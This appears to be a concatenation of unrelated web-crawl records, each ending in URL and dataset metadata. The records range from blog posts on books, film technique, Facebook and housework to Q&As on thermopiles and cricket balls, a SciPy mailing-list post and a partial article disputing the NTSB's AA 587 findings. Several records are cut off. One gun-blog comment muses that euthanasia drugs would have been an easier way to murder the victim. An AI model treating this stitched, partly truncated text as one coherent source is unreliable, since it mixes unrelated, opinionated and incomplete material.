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181 reputation
bio website larrygritz.com
location Berkeley, CA
age 46
visits member for 4 years, 6 months
seen Nov 25 '13 at 19:41
Principal engineer, Sony Pictures Imageworks. Professional software engineer and researcher for 20 years, specializing in computer graphics for animation and visual effects. I mainly develop in C++ on Unix variants (Linux and OS X), but occasionally use Windows, Python, Perl, shell scripts, as well as programmable extension languages for a variety of packages. | <urn:uuid:7a121df5-6906-4f10-82f6-df75b8d558ca> | http://apple.stackexchange.com/users/625/larry-gritz?tab=badges | en | 0.90723 | 0.0227 | mlfoundations/dclm-baseline-1.0-parquet |
Showing posts with label Book recommendations. Show all posts
Showing posts with label Book recommendations. Show all posts
Friday, January 11, 2013
Great Rainy Day Books: "Beowulf"
If you're like me you don't read enough poetry. You think you can live without it and then you fall in love or you get married or somebody dies and suddenly nothing else will do. Why wait for a life-changing event to turn to poetry? Start with this smash hit from the tenth century.
Ezra Pound: “Literature is news that stays news.”
from page 15:
"These were hard times, heart breaking
for the prince of the Shieldings; powerful counselors,
the highest in the land, would lend advice,
plotting how best the bold defenders
might resist and beat off sudden attacks.
Sometimes at pagan shrines they vowed
offerings to idols, swore oaths
that the killer of souls might come to their aid
and save the people. That was their way,
their heathenish hope; deep in their hearts
they remembered hell."
Sound familiar? The original Old English (included on facing pages) is so distant that Seamus Heaney had to almost rewrite the poem based on the original. Poetry translators know the problem well: as the linguistic gap widens, say, Japanese or Finnish to English, the roles of translator and poet begin to merge. Here the result should be good for another thousand years at which point somebody will have to translate Beowulf again.
Thursday, January 10, 2013
Great Rainy Day Books: "Over the Edge of the World"
We've had many days (weeks?) of rain with more to come, a reminder that Humboldt County is in the SW shadow of the great NW rain forest that stretches up to Alaska. Sure, you can ride anyway in a driving rain. Let me know how it goes.
As Albert Einstein famously pointed out, cycling concentrates the mind. But that doesn't mean you're stuck thinking about one thing at a time. The last thing you want to do is "be here now" on a bike ride. Say you're on a bluff with a panoramic view of the Pacific. What better place to listen to "Coltrane Live at the Village Vanguard" on your iPhone--or in your head. Better yet, when you're coming off a long rainy spell, you may have read a truly great book that you can savor on a bike ride. If not let me suggest a few. You don't want to settle for anything mediocre to bring to that moment above the Pacific.
Here's a truly great book recommendation with a link to the author's website (you'll find it online and at your neighborhood bookstore):
The adventure to end all adventures! Magellan is pursued from day one by jealous rivals who plan to kill him--and almost succeed. Utterly lost much of the time, he sails on even though the food stores have spoiled, the ships are wrecked, half the men mutiny and seize a ship, another ship deserts and the natives are hostile. What follows is akin to the discovery of an entirely new planet. Nobody handles it well, least of all Magellan who reaches for his inner Jesus Christ in the Philippines. It's a tough act to bring off.
Bergreen spins a terrific yarn. I'm not going to spoil the ending--or the beginning--for you but I've never read anything remotely like this astonishing history.
More book recommendations to follow... | <urn:uuid:f70e2caf-2345-493b-b560-efe3a20eafc9> | http://bikesocial.blogspot.com/search/label/Book%20recommendations | en | 0.948126 | 0.060009 | mlfoundations/dclm-baseline-1.0-parquet |
UNITED 93, Audience Surrogacy, and the Art of Shaky-Cam
Over the last ten years, several cinematic techniques have gone from being the exception to the rule, perhaps the most obvious and frustrating to most people is the “shaky-cam”–which is shooting a scene like it was shot spur-of-the-moment by a documentary camera unsure of where the action is going.
Everybody has an opinion about shaky-cam and its many appearances in everything from mockumentaries (Blair Witch Project, Cloverfield) to big-budget blockbusters (Battleship, The Hunger Games). Most people seem to be growing tired of it, as some action movies have been accused of being lazy with its use instead of allowing the audience to understand the geography of the scene. Some people get sick because of all the motion. Some people just want to see all the action at one time happening on screen.
But have you ever seen shaky-cam used effectively? Has a film ever been improved by the verite style? What are the benefits of throwing your audience into the unknown and never helping them find their feet?
I read an article recently about how “The Office” soured its use of an audience surrogate by revealing the documentary crew and breaking the wall that it took Greg Daniels nine years to build. It got me thinking about not only the mockumentary form, but of the shaky-cam form as a whole. The entire purpose of shaky-cam, from the digital noise of the Duplass brothers films to the sophisticated motion-sway of Paul Greengrass’s Bourne films, is for the audience to be in the scene. The camera is you, acting as a version of you within the universe of the film.
For something that started as early as Man With The Movie Camera and was perfected during the French New Wave, shaky-cam is still weirdly stigmatized as a lazy effort to make action scenes more exciting without thinking about the context of why it moves us.
That doesn’t mean it hasn’t been used out of laziness. Of course it has. But so have tripods, steadicams, dollies, and all other forms of cinematography. When was the last time you saw that final crane shot in a romantic comedy and rolled your eyes? Forced whimsy. Lazy.
Shaky-cam itself is not symptom of laziness, but the means of which it appears in the film can be. Perfect example: Battle: Los Angeles spends the last third of the film in what can only be described as sound and light blurring together to the sounds of gunshots. This isn’t because the audience is in on the action (Bourne Ultimatum) or because the film is giving us a message about the pervasiveness of data recording in our culture (Chronicle), but because the stunt coordinator didn’t have enough time to adequately choreograph fight scenes. You can tell by the fact that there are no establishing shots of any kind. By the way we are clearly watching stock footage and b-roll from a shoot that went wildly off the rails. This and movies like it are reason enough for people to dismiss shaky-cam as nothing other than “something movies do now that I think are stupid,” even though this effect has been around for decades.
In 2006, Paul Greengrass wrote and directed United 93, a film about the only hijacked plane on 9/11 that didn’t hit its target. The movie takes place in real time, is shot completely hand-held, uses (at the time) totally non-professional actors as well as the real United Airlines ATC that worked on the day of the attacks. It’s a narrative feature film that could easily be categorized as a dramatization, but it becomes something much more than just a simple reenactment by the time the credits roll. This isn’t because the story is gut-wrenchingly sad and performed well by non-actors. Plenty of dramatizations about important events are terrible. You’ve seen them.
What makes United 93, one of the most suspenseful and emotionally jarring films I’ve seen, so cinematically compelling? If you look at the film’s Oscar nomination, you’ll probably be able to guess. Greengrass took a serious risk in two significant ways. The first risk is the aforementioned choices in actors. The second risk is how he chose to shoot it.
The entire film is handheld, and, in some scenes, so out-of-focus and severe that the audience is actively oppressed by the visuals. There are times that you forget you’re watching a narrative film. You think it’s a documentary. The actors mostly ad-libbed their lines, giving us strained, gear-grinding faces as they attempt to survive an impossible situation. The camera rests on faces for sustained periods of time. The angles feel improvised, sometimes focusing on extremely unfortunate angles that you usually only see on youtube videos about spiders under your house.
The camera is you, and it’s focusing on whatever it can to absorb the situation. There are no establishing shots. None of the characters have names. You avoid looking out the windows. You avoid looking directly at the terrorists as they threaten you. Faces are too close to you. You’re crowded and hot and confused and angry and exhausted and you don’t know where to look or who to listen to or who to trust. It’s all ending, and you don’t know what to do with whatever time you have left.
Greengrass shoots the film like a news camera catching a riot in Egypt. All you get is movement and the pained sound of those around you. And, sometimes, you catch something important and provocative and enormously moving by accident because your hand slipped.
United 93 uses its cinematography to place you in a certain place at a certain time, and it deprives you of the omniscience you’re used to as a viewer.
This is how shaky-cam can be, and has been, used effectively. Zero Dark Thirty‘s final half hour uses its camera to do the same thing, mercilessly chronicling every last detail of the raid on Osama Bin Laden’s compound in Pakistan. The Hunger Games uses its camera to remind the audience that cameras are present. That an audience is watching what is happening on screen.
images (5)
Many viewers complained about Gary Ross’s decision to film Suzanne Collins’s book with the shaky-cam, but it’s an artistic decision that fits within the world of that film. It’s a recorded event witnessed live by millions of people. We are actively engaged in the games ourselves, and cameras would have registered the action in the same way because they are catching the live feed of a fight that they have not choreographed. The camera is trying to catch up with the action because, while they’re in the arena, we are seeing what the districts are seeing.
In United 93, we are just another passenger on the plane.
By removing the omniscience of the audience and forcing them to decipher the images they’re witnessing, viewers are reminded of the nightly news. Of internet videos broadcasting obscene violence from the point of view of a camera. The camera is you in that moment, and the camera does not lie or look away. You are seeing what it sees because it is you.
Audiences may find shaky-cam nauseating, anxiety-inducing, and lazy, but the very existence of it cannot be dismissed. It serves a real purpose in a time where every important event is documented by iPhones as they are currently happening. It’s just a tool.
You Might Also Like | <urn:uuid:9cdb19a0-f7b9-4e5a-93c4-9ae5c3b08448> | http://culturemass.com/2013/02/18/united-93-audience-surrogacy-and-the-art-of-shaky-cam/ | en | 0.961539 | 0.168618 | mlfoundations/dclm-baseline-1.0-parquet |
Fighting the new defeatism on climate change
In Beltway media circles, among pundits who nod at one another with furrowed brows on cable TV, a new consensus is congealing: global warming is real, but there’s not much we can do about it, since efforts to substantially reduce emissions would destroy the world economy. These bed-wetters are waving the white flag in a country that once decided to send a guy to the moon just because it looked difficult. Two reports out recently counter the new defeatism, describing a road to slashed emissions and a growing economy. But will anyone listen? David Roberts wonders where all the courage has gone. | <urn:uuid:ba95ae66-5aa8-4d21-bb45-beb9ed683974> | http://grist.org/article/premature-surrenderation/ | en | 0.954178 | 0.072036 | mlfoundations/dclm-baseline-1.0-parquet |
Sunday, October 21, 2012
Why LG is Leaving Facebook
Editor's Note: When LG wrote this post, he was sincerely intent on leaving Facebook, but has since been talked off the ledge. He is now going to limit his FB activity to once a week or so. But in the meantime, he saw no reason to allow a perfectly good blog post to go to waste, so it appears below. Please enjoy responsibly.
LG knows, this sounds dramatic. HE'S CLOSING HIS FACEBOOK ACCOUNT!
But it only sounds dramatic because... IT IS DRAMATIC!
LG is leaving Facebook for a number of reasons. He's not sure if he's permanently signing off or just taking a hiatus, that's TBD. Reportedly, it takes at least ten minutes and the execution of a very complicated series of maneuvers (involving eye of newt, bat wings and a dead rabbit) in order to actually close down your account, as opposed to merely suspending it.
If if you simply "suspend" your account, Facebook makes it very simple to reactivate it. Just trying to log in will automatically reinstate your account and thrust you back into Facebook's sticky web of privacy invasion and annoyance. And even when you close your account, as we all know, your posts and other information stay in Facebook's archives forever - or at least until the impending Mayan Apocalypse.
So why exactly is LG leaving Facebook?
Good question, he knew you'd ask. Here, in no particular order of importance, are LG's reasons:
The privacy invasions are out of hand. Facebook takes every opportunity to share all of your information with not only advertisers but also other members. Their thinking, LG believes, is that the more "friends" you have on Facebook, the less likely you'll be to leave. Thus, they randomly post your comments from other people's pages on your page so that people can see what your friends (who are not their FB friends) are up to, thereby possibly motivating them to extend a friendship request. When LG tells Friend A (who is not connected to Friend B) that Friend A is not as big a jerk as Friend B, he doesn't want that posted on his Facebook page for Friend B to see (in all fairness though, LG also needs more friends who don't just go by first letters.)
Another example: The other day LG caught Facebook going through his attic looking for girlie magazines from the 1970s (there are none up there, of course, but LG is quitting FB before it gets to the basement...)
It's a gigantic time suck. It not only distracts us from more important pursuits (like Angry Birds and, but it also takes time just to explain why you're leaving it. LG finds himself wasting far too many minutes checking FB and providing witty commentary (some might say "snarky" but he'll ignore those haters) on the posts of far too many people. Of course, now LG likes some people on Facebook who he's never met in real life better than people who he has met in real life. Oh well, that's the way it goes..
Honey Boo Boo beckons. Facebook eats up valuable time that LG could be using to watch Honey Boo Boo and her exceedingly talented clan. LG realizes that Honey Boo Boo is still very young and he doesn't want to jinx her, but if the girl plays her cards right...she may grow up to be as talented and intelligent as Snookie!
Snookie is reportedly living in the beautiful house behind Honey Boo Boo in this photo.
The election season is gearing up. LG generally (with a few notable exceptions) uses Facebook for his own amusement, not to try to sway others to support a particular candidate or cause. The multitude of political rants are getting annoying and they'll only grow more frequent and strident as election day nears. LG realizes that everything that everyone posts on Facebook is true, but he already know these interesting facts so there's no reason to remind him that President Obama was born on Venus and the U.S. Government actually pays taxes to Mitt Romney.
LG is fed up with being mistaken for George Clooney. When women see LG's photo on Facebook, they immediately try to friend him, assuming that he's really George Clooney operating under a pseudonym. LG knows that it sounds ridiculous, but it's true. To set the record straight, here's what George Clooney looks like:
And here's a recent photo of LG:
As you can see, there's a significant difference, so why the confusion?
They don't allow you to eat KFC on Facebook. That one is self-explanatory. Facebook says it's too greasy and messes up the "Like" buttons.
Cat photos ad nasuseum. And not even actual cat photos of Facebook member's pets; we're talking stock photos of cats typing on computers, talking on phones and using the toilet. Facebook Feline Fanatics: When your effin' cat can actually drive a car, then LG would like to see the photo. Until then, stick it!
Getting off Facebook seems so much more Gangnam Style than staying on it. Self-explanatory.
LG needs to spend time helping Big Bird polish up his resume. Again, self-explanatory.
The Tanorexic Mom. It turns out that she actually got her deep bronze tan from spending too many hours in front of the computer screen posting Facebook updates. She's actually an albino underneath all of that Facebook glow.
Fear not friends, The LG Report will continue to publish, weekly or so (The LGR has been on a particularly long hiatus, LG knows...) and if you don't have LG's email address and need to get in touch, you can do it through the blog.
Keep it real out there folks. Maybe LG will see you soon in real life. But not on Facebook.
[Another Editor's Note: The last sentence above struck LG as fittingly dramatic for his Facebook exit blog post but, alas, it doesn't ring true now that he's sticking around FB. If you're one of LG's FB friends, you can assume he's staying on because of you and you alone. Thank you.]
1. Nice to see you're back--I've missed your ranting!!
2. If I had a Facebook account, I think that you would friend me. So as your not-friend, you are welcome. Enjoy using Facebook and spending many hours in cyberspace while I sit here eating my KFC while watching Honey Boo Boo.
3. Prayer works. I've been fasting and praying that LG wouldn't leave FB. And now look.....
I promise not to send you any more annoying cat photos. But know this - it was pure joy for me to torture you.
I promise to stop tagging you in my political posts. I know how you feel about politics and I understand that all of my rants (even though you totally agree) can be tedious and me tagging you then shows up to all YOUR friends is dangerous.
I promise that if I see you out and about on FB I will gently remind you that your 10 minutes a day is up and that you need to get back to the HoneyBooBoo and all the other really important things you need to do.
And lastly, I promise to quit sending FB your credit score. Although, if I were you, I'd be PROUD of it, but whatev's.
xoxox and all the best to my blog/fb bff
4. I was laughing so hard that I was crying! I read every other paragraph out loud to my husband. Soooo loved the George Clooney/LG photo teaching session. And the cats. Loved those, too. You truly crack me up!!
5. Hey you! I am checking in! How are you and the lovely wife? Life is good here!
| <urn:uuid:dd8c6bb0-afd1-4185-b9cf-97fda3cde0b0> | http://lgreport.blogspot.com/2012/10/why-lg-is-leaving-facebook.html | en | 0.937859 | 0.065594 | mlfoundations/dclm-baseline-1.0-parquet |
MySeatFinder Automatically Upgrades You To a Better Airline Seat, Is a Potential Lifesaver
Flying is great! It gets you where you're going incredibly fast. Unfortunately, flying sucks! Being stuck with a bad, downright uncomfortable seat isn't fun no matter how fast you're traveling. New web service MySeatFinder uses airline seating maps to automatically upgrade your seat to the most comfortable spot it can nab.
The seat finder works in the background, comparing your upcoming flights and seat assignment to your seating preferences (for example, if you prefer a window seat and exit row seats). Once you sign up, the service requires frequent flier information for the flight you'd like to improve your seat on. (Currently it supports American Airlines, Southwest, Delta, United, and US Airways.) The service then monitors your flight reservations every four hours to see if a better seat is available and—if so—books it automatically for you.
MySeatFinder is like previously mentioned ExpertFlyer in helping you find better airplane seats, but automatically books the seats for you, so it's more of a set-and-forget tool. The service is free for eight flights or four round trips or $29 per year for unlimited flights.
According to the site, MySeatFinder has moved 84% of seats since February. That may be 84% fewer grumpier people in coach.
MySeatFinder | via The New York Times | <urn:uuid:79eac56b-b440-4335-9cbc-0b67228711db> | http://lifehacker.com/5897462/myseatfinder-automatically-upgrades-you-to-a-better-airline-seat?tag=air-travel | en | 0.921484 | 0.091055 | mlfoundations/dclm-baseline-1.0-parquet |
[SciPy-dev] scipy.fft module slow for complex inputs when linked to fftw3
David Cournapeau david at ar.media.kyoto-u.ac.jp
Fri Aug 18 03:32:14 CDT 2006
Hi there,
I noticed recently that when using the fft module of scipy, it is
much slower (5-10 folds) than numpy for complex inputs (only in the 1d
case) when linking to fftw3. This problem is reported on the ticket #1
for scipy : http://projects.scipy.org/scipy/scipy/ticket/1
I am not sure, because the code is a bit difficult to read, but it looks
like in the case of complex input + fftw3, the plan is always recomputed
for each call to zfft (file:zfft.c), whereas in the real case or in the
complexe case + fftw2, the function drfft(file:drfft.c), called from
zrfft (file:zrfft.c) is calling a plan which is cached. I am trying to
see how the caching is done, but I am not sure I will have the time to
make it work for fftw3.
P.S: I am wondering if there is a reason why the code is written with
all those #ifdef ? Because it makes the hacking of the module quite
difficult. Why not implementing each function for each fft library, and
wraps them around in the header files ? Is is just a time constraint, or
is there another reason ?
More information about the Scipy-dev mailing list | <urn:uuid:ab81dd5b-581c-4a0f-b94f-e4272c8d53d5> | http://mail.scipy.org/pipermail/scipy-dev/2006-August/006057.html | en | 0.87997 | 0.196674 | mlfoundations/dclm-baseline-1.0-parquet |
Wednesday, April 6, 2011
Lawful Gun Owner Gone Wild reports on the terrible crime.
What's your opinion? Please leave acomment.
1. Typical lawful gun owners usually don't buy a gun specifically to commit murder a few days later. Yoiu make it sound like he had a CCW and wen to the range religiously and was a member of a gun club.
2. No, he doesn't; that you choose to read it that way is up to you.
The vets an idiot anyway. It would have been much easier to give her an injection of the stuff vets use to euthanize pets or livestock. Works very fast with minimal pain. Otoh, since he's a murdering piece of shit, maybe the suffering was something he wanted from his victim.
I wonder if the toothyanker or the victim was opposed to birth control or abortion?
3. The gun seems incidental in this story.
David intended to kill his girlfriend through violence. It was premeditated.
If he hadn't been able to buy a gun, he was smart enough to find another way to do it.
If it were illegal for members of the medical profession to buy guns, they still have a lot of dangerous drugs at their disposal to use instead. I doubt we're going to ban them from having access to drugs.
4. Of course, anyone who makes a comment that the docotr has dangerous drugs at his disposal neglects one vital aspect:
Forensic pathology.
Blood tests would detect most chemical agents.
He could just sign his name if he used euthenasia drugs.
5. He could just sign his name if he used euthenasia drugs.
Or, use a gun he just bought.
6. Laci:
I didn't think I would have to point that out to Anonymous, but perhaps I'm wrong.
If killing people makes you bigger than killing them with a 9mm handgun makes you bigger than killing them with a needle, I guess.
Not having killed anyone, yet, I'm gonna say that using a gun from something beyond an arms distance would probably be a lot less sloppy (and safer for the killer). The two gunshot wounds from putting the barrel in the victim's mouth makes the killer sound like a pretty sick fuck.
The whole, "he could have killed her with something else." is moot, I think. If he could have killed her with something else why buy a gun?
7. Weaseldog, You'll get no argument from me that someone who wants to commit murder can do it using something other than a gun. But, does that mean we should make it easy for people like that to get guns?
What some of us think is that although it's possible to use other tools, guns are especially lethal and everything possible should be done to keep them out of the hands of the mental cases and the violent. | <urn:uuid:89167a9e-0915-439e-9685-863a5fdc8b7e> | http://mikeb302000.blogspot.com/2011/04/lawful-gun-owner-gone-wild.html | en | 0.98511 | 0.831732 | mlfoundations/dclm-baseline-1.0-parquet |
Why No 4 Letter Words?
When I was young and considered myself slave labor I swore that I would do no 4 letter words. You know... cook, wash, iron...
You would have thought that would put off potential husbands, wouldn't you?
You thought wrong!
Not one but two decided it was worth giving it a go. They both discovered that I was immutable, a dastardly sin in a woman (considered "strength of character" in a man), and gave up. Both were of the chauvinistic persuasion that cleaning etc. was women's work.
However, husband #3 is of sturdier stuff and not opposed to rolling up his shirtsleeves and putting his hands in a soapy bowl of hot water. Wonderful man.
The odd thing, though, is that this understanding that I am NOT the slave woman, barefoot and pregnant in the kitchen, has freed me up to find myself actually cooking and cleaning. O.O
Now, I'm definitely no domestic goddess, have no illusions or ambitions thereto, and am a protagonist of the "work smart not hard" brigade. So this blog is my exploration of how to get done the stuff I swore I would never do, and to find some satisfaction, and dare I say joy?, in the doing.
I'll be posting on my latest achievements, my failures, my terrific new ideas, my wacky inspirations that die quick, ignominious deaths, and my general commentary on the entire folly of housework and domestic skill.
Also, although I am brimming over with ambition and enthusiasm, I don't really have much else. No skills, no training, no experience. I've always been bewildered by those women who magically produce items of beauty and practical usefulness with an elastic band, half a dog's leash, and two yards of embroidery ribbon. However, I'm a great believer in the power of ignorance - if you don't know you can't, there's nothing stopping you! So I shall be throwing myself wholeheartedly into the creation of various... er... things... in the hopes that one day I'll produce something that somebody will eventually admire or envy.
Whether you hate housework as much as I and wish to discover some secrets that make it less of a chore; are interested in crafts and making stuff yourself; or are just plain amused by my folly and standing by to watch me make a total cake of myself in a public forum, enjoy! | <urn:uuid:07a1d894-8f01-40e4-80c9-b93057e9a6d7> | http://no4letterwords.blogspot.com/p/why-no-4-letter-words.html | en | 0.976504 | 0.198569 | mlfoundations/dclm-baseline-1.0-parquet |
Take the 2-minute tour ×
Thermoelectricity is, as I understand it, the difference in voltage between the hot and cold ends of two dissimilar materials. If two materials are connected at two different junctions, the hot junction will effectively liberate electrons which will flow to the cold junction, along with the heat.
All the diagrams of this I could find showed exactly two materials, connected at both the hot and cold ends. In order to have the hot side remain hot, and the cold remain cold, while transmitting the electricity, ideally a substance is desired that conducts electricity well, but heat poorly. This is the measure of quality. A good overview paper is: New Directions for Low-Dimensional Thermoelectric Materials by Dresselhaus et al.
"ZT= S2rT/j, where S, r, T, and j are, respectively, the Seebeck coefficient, electrical conductivity, temperature, and thermal conductivity"
Maximizing efficiency of a thermocouple is, in fact, a matter of finding materials that conduct heat poorly, while conducting electricity well. In practice, that's difficult, so in constructing nanomaterials to do so, they are trying to scatter phonons while not scattering electrons.
1. How do you make a series circuit with lots of thermocouples? Surely this must be done, yet when I draw a diagram, I can't come up with a way that doesn't look like two identical thermocouples are simply operating in opposing directions. This is answered below (and thanks), but note the answerer is incorrect about the need for thermal conductivity. Ideally, you want to insulate these things, and have as little heat as possible produce as much electricity as possible.
2. In the diagram drawn by the answer, it shows a thermopile as a zig-zag connection of two materials between hot and cold. This makes perfect sense now that I see it, but then, does material A transport electrons from hot to cold, while material B transports them from cold to hot? I thought I intuitively understood the Seebeck effect as a liberation of electrons from the hot end, effectively by "shaking them loose" but it appears one material must be doing the reverse? I'm guessing this is similar to galvanic action, where one material wants an electron to complete a valence shell, and the other wants to give one away?
3. I have now drawn a diagram showing a single thermocouple, a thermopile per the answer below, and my question, which is whether you can introduce a third material connecting the other two. I'm guessing you can, and that whatever its electropotential, since it's symmetric it should have no effect on the voltage of the thermopile other than its resistance. diagrams of thermopiles
share|improve this question
Dov, I think it would be better if you ask these two questions separately. Edit one out of this post and then make it into a new post. You can link to this one to provide the context. – David Z Dec 2 '11 at 16:06
1 Answer 1
up vote 3 down vote accepted
No. The two ends are assumed to be connected to heat sources or sinks that maintain a constant temperature at those nodes. Heat does flow well from one end to the other, which causes the thermoelectric effects. Hot electrons and cold electrons travel through the material at different rates, leading to a net flow of electric charge towards one end.
1. A series connection of thermocouples is called a "thermopile". It's connected like this: enter image description here
2. Not sure what you're asking. You want to connect wires made of lithium, cobalt, and copper in parallel?
share|improve this answer
The question for a third metal arose from his problems to imagine a thermopile, I suppose. – Georg Dec 2 '11 at 18:45
Thanks for clearing up my misconception, the diagram of a thermocouple always shows two junctions with both materials, and putting those in series is not possible. I will modify the original question to show a diagram of what I am asking about a third material – Dov Dec 4 '11 at 11:42
This answer still implies that efficiency of a thermocouple is not based on good electrical conductivity, and poor thermal conductivity. This is simply not true, as can be seen in the paper I cited. It's true that you can maintain a constant temperature, but the point is to do so with MINIMAL ENERGY INPUT. The efficiency of current thermocouple generators is on the order of 6%, and with Zt of 4.0, it could be 30%. – Dov Dec 13 '11 at 4:54
@Dov: I don't understand. The Seebeck effect is due to hot electrons traveling more poorly through the metal than the cold electrons traveling in the opposite direction. So the important property for determining the Seebeck coefficient for a material is that the thermal conductivity be energy dependent. – endolith Dec 13 '11 at 15:26
@Dov: Wikipedia says "The efficiency with which a thermoelectric material can generate electrical power depends on several material properties, of which perhaps the most important is the [Seebeck coefficient]." "It is important to note that a material's Seebeck Coefficient is inversely related its carrier density. Therefore, insulators tend to have very high Seebeck coefficients, while metals have lower values due to their high carrier concentrations." Also: en.wikipedia.org/wiki/… – endolith Dec 13 '11 at 15:30
Your Answer
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Take the 2-minute tour ×
In Test Cricket, the red colored ball is used while in ODI and T20I, the white colored ball is used. What is the difference between these balls(apart from color)? Why are different balls used in different formats?
Ball used in Test Cricket
Ball used in Test Cricket
Ball used in ODI and T20I Cricket
Ball used in ODI and T20I Cricket
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Nice question :) – joey rohan Mar 22 '13 at 12:42
So, What is going to happen if Day-Night test matches comes in to existence??? They will stick with Red ball or move to a White ball (I strongly think that they will stick to RED ball). If they stick with Red ball then your answer is questionable.. – user2100 Jan 2 '14 at 3:19
the most correct way is to use white ball. – user3659 May 11 '14 at 19:36
4 Answers 4
up vote 8 down vote accepted
Differences between red and white balls can vary based on the manufacturers.
Kookaburra maintains that their red and white balls are manufactured using the same process apart from the dye used for colouring. They claim that the swing properties of both the balls are similar - as everything, apart from the colour, are the same. This, however, is disputed by the players and researchers who claim that the white ball swings more.
Dukes has a different manufacturing process for each of the balls. They claim and tests have proven that the white ball infact swings more than their traditional red balls. This is due to a polyurethane coating on top of the white-dyed leather to ensure that the ball does not get dirty quickly. This coating makes the ball smoother and changes its aerodynamics thereby assisting swing.
Going by players feedback and researchers findings, to generalize
• The white ball swings more than the red ball.
• The white ball is easier to spot than the red ones, especially on television, which is why these were preferred over the red ones for limited overs cricket.
• White balls are harder than the red ones.
• White balls are smoother than the red ones.
• As mentioned in the question, white balls are used for ODIs and T20s while the red ones are used for Test cricket.
You can read more about this here, here and in better detail here.
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The major reason for using white ball in ODI and T20 is that many of those matches were happening as Day & Night matches and it was very difficult to spot the red ball under floodlights. Cricket balls were traditionally red and test matches still use that(Compared to red ball, white balls deteriorates more quickly and hence red balls are more suitable for test matches).
From Cricket ball Wiki:
Cricket balls are traditionally dyed red, and red balls are used in Test cricket and First-class cricket. White balls were introduced when one-day matches began being played at night under floodlights, as they are more visible at night. Professional one-day matches are now played with white balls, even when they are not played at night.
This was one of the reasons why the player's dress color was changed from white to colors so that the ball can be spotted very easily in ODIs and T20s.
There was also an attempt to experiment with some other colors as well as mentioned in the wiki:
Other colours have occasionally been experimented with, such as yellow and orange for improved night visibility, but the colouring process has so far rendered such balls unsuitable for professional play because they wear differently from standard balls. A pink ball was used for the first time in an international match in July 2009 when the England Woman's team defeated Australia at Wormsley.
Edit: As per the Wiki page:
The white ball has been found to swing a lot more during the first half of the innings than the red ball.
So you are correct, white balls swings more than the red balls during the first half of innings.
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+1, Is there any difference between these balls (apart from colors)? e.g. Red ball turns more or White ball swings more etc with reference? – hims056 Mar 7 '13 at 7:58
@hims056, Updated my answer to reflect that as well. – iDev Mar 7 '13 at 8:00
Good answer, but I think a more authoritative source than Wikipedia is needed to support the claim that the white ball swings more. – Spinner May 20 '13 at 14:30
@Spinner, Thanks. I will check if I can get some other source for this. – iDev May 20 '13 at 18:56
Red ball under yellow floodlight takes on a brownish color which is very similar to the color of the pitch. That's why white ball especially used in day night Cricket matches.
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As the red ball swings less than the white ball it is used in test crickets. As the jersey used in ODI and T20 are color rather than white so they prefer white ball in matches.
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protected by hims056 Jun 21 '14 at 5:22
Would you like to answer one of these unanswered questions instead?
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NTSB's AA 587 Final Report
An Improbable Probable Cause
March 4, 2005
by Victor Trombettas
On December 6, 2004––more than three years after the crash of American Airlines Flight 587 (AA 587)––the NTSB released the full version of their Final Report on the crash. The report was made available as a download from the NTSB's web site at: and only in recent weeks mailed out in hardcopy.
The NTSB released this probable cause statement on October 26, 2004, at the Final Report Meeting in Washington, D.C.:
The National Transportation Safety Board determines that the probable cause of this accident was the in-flight separation of the vertical stabilizer as a result of the loads beyond ultimate design that were created by the first officer's unnecessary and excessive rudder pedal inputs. Contributing to these rudder pedal inputs were characteristics of the A300-600 rudder system design and elements of the American Airlines Advanced Aircraft Maneuvering Program.
For those who were present at the Meeting, what the NTSB was really saying came through loud and clear. AA 587 encountered mild wake turbulence. Investigators who participated in simulations of the flight felt the second alleged wake encounter was "barely perceptible". The Pilot "inappropriately handled" the aircraft and set off a chain of events that led to the separation of the tail. There was no reason for the Pilot to react the way he did. His overreaction was worsened by an overly sensitive rudder control system and by some negative wake turbulence training he had received from American Airlines. But had he not overreacted and applied unnecessary control inputs . . . AA 587 would not have crashed.
The NTSB used the words "excessive", "unnecessary", and "inappropriate" close to a dozen times in describing the actions of First Officer Sten Molin. Mr. Stan Molin, the father of the Pilot, himself a retired airline Captain, was sitting near the front of the NTSB's conference center in Washington, D.C. He had expected that his son was going to take a large part of the blame––this had been leaked to the media by the NTSB or Airbus almost a month before the meeting. Mr. Molin, who taught Sten to fly, had a sense, just days after the crash, that the NSTB would lay the blame on his son
. Even though they knew this was coming it was still very unpleasant for the Molins to hear the NTSB says the words –– "excessive", "unnecessary", "inappropriate" –– again and again and again –– in reference to their son's piloting.
The Molins did find some consolation in hearing some of the NTSB investigators (later in the day) state that their son had gotten caught up in a piloting phenomenon called adverse
Aircraft Pilot Coupling (APC), although this wording is not found in the probable cause statement. To explain this in lay terms –– it basically means that due to a very sensitive rudder pedal system (never mentioned in the AA training program because Airbus never disclosed its unique nature to the airline), the Pilot quickly got caught up in a situation where, the NTSB believes, he didn't know that the side-to-side (lateral) forces he was sensing were mostly caused by his own rudder movements. As he repeatedly tried to compensate with the rudder, he made matters worse–– to the point where, in just seven and a half seconds, the tail broke off. Adverse APC implies that there is a design/systems flaw that confused the Pilot and the two “systems” are equally responsible in the subsequent failure. But the way in which the NTSB presented their findings, and the way in which they critiqued the Pilot's actions over and over again, left no doubt in the minds of the major media: "Pilot Error" was the cause, and that is how most reported it.
Airbus walked out of the final report meeting with a big "whew" written across their heads. It could have been much worse for them. As one Airbus lawyer was leaving the conference center he stated to a Pilot's Union representative, "better luck next time". The Airbus lawyer was referring to intense lobbying by both American Airlines and the Union (even up to the night before the meeting) to get the NTSB to highlight Airbus' 1997 failure to communicate known defects with the A300-600 rudder system and the role that rudder reversals played in the American Airlines Flight 903 (AA 903) accident. In that 1997 accident, the aircraft's tail experienced higher loads than the loads placed on AA 587's tail. American Airlines and the Union firmly believed there was a link between AA 903 and AA 587–– they were pushing and hoping to get the NTSB to see it that way. The fact the NTSB did not is the most obvious proof that the NTSB's investigation was compromised –– probably by the powerful lobbying by Airbus. This lobbying (by both sides) was even acknowledged by the NTSB Chairman at a breakfast meeting with reporters on January 5th 2005, and described by her as "inappropriate", "intense", and having led to a delay of the final report's release. The Chairman conceded that in the presence of such lobbying the "potential for contaminating the investigation exists". Is it possible that one party (Airbus) "contaminated" the NTSB?
The family of the Pilot, American Airlines, and the Union, were not the only interested parties considerably displeased by the NTSB's conclusions. Many of the victims' families were dismayed at the findings. They couldn't believe that they had waited almost three years for a probable cause statement which placed the majority of the blame literally at the feet of a dead man. In the minds of these disappointed people –– the NTSB had failed.
Credibility Lost
